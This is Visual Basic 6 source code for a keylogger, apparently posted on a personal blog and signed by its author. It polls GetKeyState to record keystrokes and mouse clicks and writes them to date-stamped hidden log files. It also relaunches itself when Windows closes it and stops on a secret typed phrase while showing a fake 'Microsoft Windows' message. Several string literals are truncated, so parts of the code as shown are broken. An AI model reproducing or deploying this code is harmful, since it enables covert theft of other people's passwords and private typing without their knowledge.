'***********************CODED bY SATAN DREAM*******************
' dot added
Option Explicit
Dim strContent As String
Dim boolCapslockOn As Boolean
Dim boolShiftPresed As Boolean
Dim BOOLCASE As Boolean
Dim strSavePath As String
Dim StrFileName As String
Dim intInd As Long
Dim strFilePath As String
Dim intSpeciachar As Integer
Dim SpecChar As String
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer 'key bord scan func
Dim StrTExt As String
' follwing is keybord definition
'start function keys
Dim Keydot1 As Long, keydot1pre As Long
Dim KeyPlus As Long, KeyPluspre As Long
Dim KeyAdd As Long, KeyAddpre As Long
Dim KeySub As Long, keySubpre As Long
Dim KeyMulti As Long, KeyMultiPre As Long
Dim KeyDiv As Long, KeyDivper As Long
Dim KeyMin As Long, KeyMinpre As Long
Dim KeyEsc As Long, KeyEscPre As Long
Dim KeyF1 As Long, KeyF1Pre As Long
Dim KeyF2 As Long, KeyF2Pre As Long
Dim KeyF3 As Long, KeyF3Pre As Long
Dim KeyF4 As Long, KeyF4Pre As Long
Dim KeyF5 As Long, KeyF5Pre As Long
Dim KeyF6 As Long, KeyF6Pre As Long
Dim KeyF7 As Long, KeyF7Pre As Long
Dim KeyF8 As Long, KeyF8Pre As Long
Dim KeyF9 As Long, KeyF9Pre As Long
Dim KeyF10 As Long, KeyF10Pre As Long
Dim KeyF11 As Long, KeyF11Pre As Long
Dim KeyF12 As Long, KeyF12Pre As Long
'defines numeric keys
Dim Key1 As Long, Key1Pre As Long
Dim Key2 As Long, Key2Pre As Long
Dim Key3 As Long, Key3Pre As Long
Dim Key4 As Long, Key4Pre As Long
Dim Key5 As Long, Key5Pre As Long
Dim Key6 As Long, Key6Pre As Long
Dim kEY7 As Long, KEY7pRE As Long
Dim Key8 As Long, Key8Pre As Long
Dim Key9 As Long, Key9Pre As Long
Dim Key0 As Long, Key0Pre As Long
'Defines General Keys
Dim KeyA As Long, KeyAPre As Long
Dim KeyB As Long, KeyBPre As Long
Dim KeyC As Long, KeyCPre As Long
Dim KeyD As Long, KeyDPre As Long
Dim KeyE As Long, KeyEPre As Long
Dim KeyF As Long, KeyFPre As Long
Dim KeyG As Long, KeyGPre As Long
Dim KeyH As Long, KeyHPre As Long
Dim KeyI As Long, KeyIPre As Long
Dim KeyJ As Long, KeyJPre As Long
Dim KeyK As Long, KeyKPre As Long
Dim KeyL As Long, KeyLPre As Long
Dim KeyM As Long, KeyMPre As Long
Dim KeyN As Long, KeyNPre As Long
Dim KeyO As Long, KeyOPre As Long
Dim KeyP As Long, KeyPPre As Long
Dim KeyQ As Long, KeyQPre As Long
Dim KeyR As Long, KeyRPre As Long
Dim KeyS As Long, KeySPre As Long
Dim KeyT As Long, KeyTPre As Long
Dim KeyU As Long, KeyUPre As Long
Dim KeyV As Long, KeyVPre As Long
Dim KeyW As Long, KeyWPre As Long
Dim KeyX As Long, KeyXPre As Long
Dim KeyY As Long, KeyYPre As Long
Dim KeyZ As Long, KeyZPre As Long
Dim KeyDot As Long, KeyDotpre As Long
'DEFINES NUMPAD KEYSV
Dim KeyNUM1 As Long, KeyNUM1Pre As Long
Dim KeyNUM2 As Long, KeyNUM2Pre As Long
Dim KeyNUM3 As Long, KeyNUM3Pre As Long
Dim KeyNUM4 As Long, KeyNUM4Pre As Long
Dim KeyNUM5 As Long, KeyNUM5Pre As Long
Dim KeyNUM6 As Long, KeyNUM6Pre As Long
Dim KeyNUM7 As Long, KeyNUM7PRE As Long
Dim KeyNUM8 As Long, KeyNUM8Pre As Long
Dim KeyNUM9 As Long, KeyNUM9Pre As Long
Dim KeyNUM0 As Long, KeyNUM0Pre As Long
'Othe function Keys
Dim KeyTab As Long, KeyTabPre As Long
Dim KeyCapsLock As Long, KeyCapsLockPre As Long
Dim KeyShift As Long, KeyShiftPre As Long
Dim KeyEnter As Long, KeyEnterPre As Long
Dim KeySpace As Long, KeySpacePre As Long
'MOUSE KEYS
Dim KeyMouseLeft As Long, KeyMouseLeftPre As Long
Dim KeyMouseright As Long, keyMouseRightPre As Long
Private Sub scanKeyb()
'**********************************************************
KeyCapsLock = GetKeyState(vbKeyCapital)
If KeyCapsLock = 0 Then
boolCapslockOn = False
ElseIf KeyCapsLock = 1 Then
boolCapslockOn = True
End If
KeyCapsLockPre = KeyCapsLock
'************************************************************
KeyShift = GetKeyState(vbKeyShift)
If KeyShift < 0 Then
boolShiftPresed = True
Else
boolShiftPresed = False
End If
'***********************************************************
KeyA = GetKeyState(vbKeyA)
If KeyA >= 0 And KeyAPre < 0 And BOOLCASE = True Then
strContent = strContent + "A"
ElseIf KeyA >= 0 And KeyAPre < 0 Then
strContent = strContent + "a"
End If
KeyAPre = KeyA
'***********************************************************
KeyB = GetKeyState(vbKeyB)
If KeyB >= 0 And KeyBPre < 0 And BOOLCASE = True Then
strContent = strContent + "B"
ElseIf KeyB >= 0 And KeyBPre < 0 Then
strContent = strContent + "b"
End If
KeyBPre = KeyB
'************************************************************
KeyC = GetKeyState(vbKeyC)
If KeyC >= 0 And KeyCPre < 0 And BOOLCASE = True Then
strContent = strContent + "C"
ElseIf KeyC >= 0 And KeyCPre < 0 Then
strContent = strContent + "c"
End If
KeyCPre = KeyC
'************************************************************
KeyD = GetKeyState(vbKeyD)
If KeyD >= 0 And KeyDPre < 0 And BOOLCASE = True Then
strContent = strContent + "D"
ElseIf KeyD >= 0 And KeyDPre < 0 Then
strContent = strContent + "d"
End If
KeyDPre = KeyD
KeyE = GetKeyState(vbKeyE)
If KeyE >= 0 And KeyEPre < 0 And BOOLCASE = True Then
strContent = strContent + "E"
ElseIf KeyE >= 0 And KeyEPre < 0 Then
strContent = strContent + "e"
End If
KeyEPre = KeyE
'************************************************************
KeyF = GetKeyState(vbKeyF)
If KeyF >= 0 And KeyFPre < 0 And BOOLCASE = True Then
strContent = strContent + "F"
ElseIf KeyF >= 0 And KeyFPre < 0 Then
strContent = strContent + "f"
End If
KeyFPre = KeyF
'************************************************************
KeyG = GetKeyState(vbKeyG)
If KeyG >= 0 And KeyGPre < 0 And BOOLCASE = True Then
strContent = strContent + "G"
ElseIf KeyG >= 0 And KeyGPre < 0 Then
strContent = strContent + "g"
End If
KeyGPre = KeyG
'************************************************************
KeyH = GetKeyState(vbKeyH)
If KeyH >= 0 And KeyHPre < 0 And BOOLCASE = True Then
strContent = strContent + "H"
ElseIf KeyH >= 0 And KeyHPre < 0 Then
strContent = strContent + "h"
End If
KeyHPre = KeyH
'************************************************************
KeyI = GetKeyState(vbKeyI)
If KeyI >= 0 And KeyIPre < 0 And BOOLCASE = True Then
strContent = strContent + "I"
ElseIf KeyI >= 0 And KeyIPre < 0 Then
strContent = strContent + "i"
End If
KeyIPre = KeyI
'************************************************************
KeyJ = GetKeyState(vbKeyJ)
If KeyJ >= 0 And KeyJPre < 0 And BOOLCASE = True Then
strContent = strContent + "J"
ElseIf KeyJ >= 0 And KeyJPre < 0 Then
strContent = strContent + "j"
End If
KeyJPre = KeyJ
'************************************************************
KeyK = GetKeyState(vbKeyK)
If KeyK >= 0 And KeyKPre < 0 And BOOLCASE = True Then
strContent = strContent + "K"
ElseIf KeyK >= 0 And KeyKPre < 0 Then
strContent = strContent + "k"
End If
KeyKPre = KeyK
'************************************************************
KeyL = GetKeyState(vbKeyL)
If KeyL >= 0 And KeyLPre < 0 And BOOLCASE = True Then
strContent = strContent + "L"
ElseIf KeyL >= 0 And KeyLPre < 0 Then
strContent = strContent + "l"
End If
KeyLPre = KeyL
'************************************************************
KeyM = GetKeyState(vbKeyM)
If KeyM >= 0 And KeyMPre < 0 And BOOLCASE = True Then
strContent = strContent + "M"
ElseIf KeyM >= 0 And KeyMPre < 0 Then
strContent = strContent + "m"
End If
KeyMPre = KeyM
'************************************************************
KeyN = GetKeyState(vbKeyN)
If KeyN >= 0 And KeyNPre < 0 And BOOLCASE = True Then
strContent = strContent + "N"
ElseIf KeyN >= 0 And KeyNPre < 0 Then
strContent = strContent + "n"
End If
KeyNPre = KeyN
'************************************************************
KeyO = GetKeyState(vbKeyO)
If KeyO >= 0 And KeyOPre < 0 And BOOLCASE = True Then
strContent = strContent + "O"
ElseIf KeyO >= 0 And KeyOPre < 0 Then
strContent = strContent + "o"
End If
KeyOPre = KeyO
'************************************************************
KeyP = GetKeyState(vbKeyP)
If KeyP >= 0 And KeyPPre < 0 And BOOLCASE = True Then
strContent = strContent + "P"
ElseIf KeyP >= 0 And KeyPPre < 0 Then
strContent = strContent + "p"
End If
KeyPPre = KeyP
'************************************************************
KeyQ = GetKeyState(vbKeyQ)
If KeyQ >= 0 And KeyQPre < 0 And BOOLCASE = True Then
strContent = strContent + "Q"
ElseIf KeyQ >= 0 And KeyQPre < 0 Then
strContent = strContent + "q"
End If
KeyQPre = KeyQ
'************************************************************
KeyR = GetKeyState(vbKeyR)
If KeyR >= 0 And KeyRPre < 0 And BOOLCASE = True Then
strContent = strContent + "R"
ElseIf KeyR >= 0 And KeyRPre < 0 Then
strContent = strContent + "r"
End If
KeyRPre = KeyR
'************************************************************
KeyS = GetKeyState(vbKeyS)
If KeyS >= 0 And KeySPre < 0 And BOOLCASE = True Then
strContent = strContent + "S"
ElseIf KeyS >= 0 And KeySPre < 0 Then
strContent = strContent + "s"
End If
KeySPre = KeyS
'************************************************************
KeyT = GetKeyState(vbKeyT)
If KeyT >= 0 And KeyTPre < 0 And BOOLCASE = True Then
strContent = strContent + "T"
ElseIf KeyT >= 0 And KeyTPre < 0 Then
strContent = strContent + "t"
End If
KeyTPre = KeyT
'************************************************************
KeyU = GetKeyState(vbKeyU)
If KeyU >= 0 And KeyUPre < 0 And BOOLCASE = True Then
strContent = strContent + "U"
ElseIf KeyU >= 0 And KeyUPre < 0 Then
strContent = strContent + "u"
End If
KeyUPre = KeyU
'************************************************************
KeyV = GetKeyState(vbKeyV)
If KeyV >= 0 And KeyVPre < 0 And BOOLCASE = True Then
strContent = strContent + "V"
ElseIf KeyV >= 0 And KeyVPre < 0 Then
strContent = strContent + "v"
End If
KeyVPre = KeyV
'************************************************************
KeyX = GetKeyState(vbKeyX)
If KeyX >= 0 And KeyXPre < 0 And BOOLCASE = True Then
strContent = strContent + "X"
ElseIf KeyX >= 0 And KeyXPre < 0 Then
strContent = strContent + "x"
End If
KeyXPre = KeyX
'************************************************************
KeyW = GetKeyState(vbKeyW)
If KeyW >= 0 And KeyWPre < 0 And BOOLCASE = True Then
strContent = strContent + "W"
ElseIf KeyW >= 0 And KeyWPre < 0 Then
strContent = strContent + "w"
End If
KeyWPre = KeyW
'************************************************************
KeyY = GetKeyState(vbKeyY)
If KeyY >= 0 And KeyYPre < 0 And BOOLCASE = True Then
strContent = strContent + "Y"
ElseIf KeyY >= 0 And KeyYPre < 0 Then
strContent = strContent + "y"
End If
KeyYPre = KeyY
'************************************************************
KeyZ = GetKeyState(vbKeyZ)
If KeyZ >= 0 And KeyZPre < 0 And BOOLCASE = True Then
strContent = strContent + "Z"
ElseIf KeyZ >= 0 And KeyZPre < 0 Then
strContent = strContent + "z"
End If
KeyZPre = KeyZ
'************************************************************
Keydot1 = GetKeyState(110)
If Keydot1 >= 0 And keydot1pre < 0 And BOOLCASE = True Then
strContent = strContent + "."
ElseIf Keydot1 >= 0 And keydot1pre < 0 Then
strContent = strContent + "."
End If
keydot1pre = Keydot1
'************************************************************
KeyDot = GetKeyState(190)
If KeyDot >= 0 And KeyDotpre < 0 And BOOLCASE = True Then
'strContent = strContent + "."
ElseIf KeyDot >= 0 And KeyDotpre < 0 Then
strContent = strContent + "."
End If
KeyDotpre = KeyDot
'****************************************************************
KeyMouseLeft = GetKeyState(vbKeyLButton)
If KeyMouseLeft >= 0 And KeyMouseLeftPre < 0 Then
strContent = strContent + SpecChar + "MLeft" + SpecChar
End If
KeyMouseLeftPre = KeyMouseLeft
'**********************************************************
KeyMouseright = GetKeyState(vbKeyRButton)
If KeyMouseright >= 0 And keyMouseRightPre < 0 Then
strContent = strContent + "
End If
keyMouseRightPre = KeyMouseright
'**********************************************************
KeyEnter = GetKeyState(vbKeyReturn)
If KeyEnter >= 0 And KeyEnterPre < 0 Then
strContent = strContent + "
End If
KeyEnterPre = KeyEnter
'**********************************************************
KeyTab = GetKeyState(vbKeyTab)
If KeyTab >= 0 And KeyTabPre < 0 Then
strContent = strContent + SpecChar + "tab" + SpecChar
End If
KeyTabPre = KeyTab
'**********************************************************
KeySpace = GetKeyState(vbKeySpace)
If KeySpace >= 0 And KeySpacePre < 0 Then
strContent = strContent + " "
End If
KeySpacePre = KeySpace
'**********************************************************
KeyNUM0 = GetKeyState(vbKeyNumpad0)
If KeyNUM0 >= 0 And KeyNUM0Pre < 0 Then
strContent = strContent + "0"
End If
KeyNUM0Pre = KeyNUM0
'**********************************************************
KeyNUM1 = GetKeyState(vbKeyNumpad1)
If KeyNUM1 >= 0 And KeyNUM1Pre < 0 Then
strContent = strContent + "1"
End If
KeyNUM1Pre = KeyNUM1
'**********************************************************
KeyNUM2 = GetKeyState(vbKeyNumpad2)
If KeyNUM2 >= 0 And KeyNUM2Pre < 0 Then
strContent = strContent + "2"
End If
KeyNUM2Pre = KeyNUM2
'**********************************************************
KeyNUM3 = GetKeyState(vbKeyNumpad3)
If KeyNUM3 >= 0 And KeyNUM3Pre < 0 Then
strContent = strContent + "3"
End If
KeyNUM3Pre = KeyNUM3
'**********************************************************
KeyNUM4 = GetKeyState(vbKeyNumpad4)
If KeyNUM4 >= 0 And KeyNUM4Pre < 0 Then
strContent = strContent + "4"
End If
KeyNUM4Pre = KeyNUM4
'**********************************************************
KeyNUM5 = GetKeyState(vbKeyNumpad5)
If KeyNUM5 >= 0 And KeyNUM5Pre < 0 Then
strContent = strContent + "5"
End If
KeyNUM5Pre = KeyNUM5
'**********************************************************
KeyNUM6 = GetKeyState(vbKeyNumpad6)
If KeyNUM6 >= 0 And KeyNUM6Pre < 0 Then
strContent = strContent + "6"
End If
KeyNUM6Pre = KeyNUM6
'**********************************************************
KeyNUM7 = GetKeyState(vbKeyNumpad7)
If KeyNUM7 >= 0 And KeyNUM7PRE < 0 Then
strContent = strContent + "7"
End If
KeyNUM7PRE = KeyNUM7
'**********************************************************
KeyNUM8 = GetKeyState(vbKeyNumpad8)
If KeyNUM8 >= 0 And KeyNUM8Pre < 0 Then
strContent = strContent + "8"
End If
KeyNUM8Pre = KeyNUM8
'**********************************************************
KeyNUM9 = GetKeyState(vbKeyNumpad9)
If KeyNUM9 >= 0 And KeyNUM9Pre < 0 Then
strContent = strContent + "9"
End If
KeyNUM9Pre = KeyNUM9
'**********************************************************
Key0 = GetKeyState(vbKey0)
If Key0 >= 0 And Key0Pre < 0 And boolShiftPresed = True Then
strContent = strContent + ")"
ElseIf Key0 >= 0 And Key0Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "0"
End If
Key0Pre = Key0
'**********************************************************
Key1 = GetKeyState(vbKey1)
If Key1 >= 0 And Key1Pre < 0 And boolShiftPresed = True Then
strContent = strContent + "!"
ElseIf Key1 >= 0 And Key1Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "1"
End If
Key1Pre = Key1
'**********************************************************
Key2 = GetKeyState(vbKey2)
If Key2 >= 0 And Key2Pre < 0 And boolShiftPresed = True Then
strContent = strContent + "@"
ElseIf Key2 >= 0 And Key2Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "2"
End If
Key2Pre = Key2
'**********************************************************
Key3 = GetKeyState(vbKey3)
If Key3 >= 0 And Key3Pre < 0 And boolShiftPresed = True Then
strContent = strContent + "#"
ElseIf Key3 >= 0 And Key3Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "3"
End If
Key3Pre = Key3
'**********************************************************
Key4 = GetKeyState(vbKey4)
If Key4 >= 0 And Key4Pre < 0 And boolShiftPresed = True Then
strContent = strContent + "$"
ElseIf Key4 >= 0 And Key4Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "4"
End If
Key4Pre = Key4
Key5 = GetKeyState(vbKey5)
If Key5 >= 0 And Key5Pre < 0 And boolShiftPresed = True Then
strContent = strContent + "%"
ElseIf Key5 >= 0 And Key5Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "5"
End If
Key5Pre = Key5
'**********************************************************
Key6 = GetKeyState(vbKey6)
If Key6 >= 0 And Key6Pre < 0 And boolShiftPresed = True Then
strContent = strContent + "^"
ElseIf Key6 >= 0 And Key6Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "6"
End If
Key6Pre = Key6
'**********************************************************
kEY7 = GetKeyState(vbKey7)
If kEY7 >= 0 And KEY7pRE < 0 And boolShiftPresed = True Then
strContent = strContent + "<^7*>"
ElseIf kEY7 >= 0 And KEY7pRE < 0 And boolShiftPresed = False Then
strContent = strContent + "7"
End If
KEY7pRE = kEY7
'**********************************************************
Key8 = GetKeyState(vbKey8)
If Key8 >= 0 And Key8Pre < 0 And boolShiftPresed = True Then
strContent = strContent + "*"
ElseIf Key8 >= 0 And Key8Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "8"
End If
Key8Pre = Key8
'**********************************************************
Key9 = GetKeyState(vbKey9)
If Key9 >= 0 And Key9Pre < 0 And boolShiftPresed = True Then
strContent = strContent + "("
ElseIf Key9 >= 0 And Key9Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "9"
End If
Key9Pre = Key9
'*********************************************************
KeyPlus = GetKeyState(187)
If KeyPlus >= 0 And KeyPluspre < 0 And boolShiftPresed = True Then
strContent = strContent + "+"
ElseIf KeyPlus >= 0 And KeyPluspre < 0 And boolShiftPresed = False Then
strContent = strContent + "="
End If
KeyPluspre = KeyPlus
'*********************************************************
KeyMin = GetKeyState(189)
If KeyMin >= 0 And KeyMinpre < 0 And boolShiftPresed = True Then
strContent = strContent + "_"
ElseIf KeyMin >= 0 And KeyMinpre < 0 And boolShiftPresed = False Then
strContent = strContent + "-"
End If
KeyMinpre = KeyMin
End Sub
Private Sub SETCASE()
If boolCapslockOn = False And boolShiftPresed = False Then
BOOLCASE = False
ElseIf boolCapslockOn = False And boolShiftPresed = True Then
BOOLCASE = True
ElseIf boolCapslockOn = True And boolShiftPresed = True Then
BOOLCASE = False
ElseIf boolCapslockOn = True And boolShiftPresed = False Then
BOOLCASE = True
End If
End Sub
Private Sub Command1_Click()
OpenSaveFile
End Sub
Private Sub Form_Load()
strContent = "
strFilePath = App.Path + "\" + App.Title + ".exe"
intSpeciachar = 165
SpecChar = Chr(165) + Chr(182)
End Sub
Private Sub rtfcontent_GotFocus()
End Sub
Private Sub OpenSaveFile()
On Error Resume Next
StrTExt = "H"
StrFileName = App.Path & "save\"
MkDir StrFileName
StrFileName = StrFileName & Year(Date)
MkDir StrFileName
StrFileName = StrFileName & "\" & Month(Date)
MkDir StrFileName
StrFileName = StrFileName & "\" & Day(Date)
MkDir StrFileName
StrFileName = StrFileName & "\" & Hour(Time) & Minute(Time) & Second(Time) & ".DCT"
Open StrFileName For Output As #1
Write #1, strContent
Close #1
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
OpenSaveFile
Select Case UnloadMode
Case 3
Shell strFilePath, vbNormalFocus
End Select
End Sub
Private Sub Timer1_Timer()
Label1.Caption = strContent
SETCASE
scanKeyb
Dim Lens
Lens = Len(strContent)
If Len(strContent) > 1024 Then
OpenSaveFile
strContent = " STARTING " & Time
End If
intInd = InStr(strContent, "geffreaenditgeffrea")
If intInd > 0 Then
MsgBox "Ssuccesfuly Updated", vbInformation, "Microsoft Windows"
OpenSaveFile
strContent = ""
Timer1.Enabled = False
Unload Me
End If
End Sub
No comments:
Post a Comment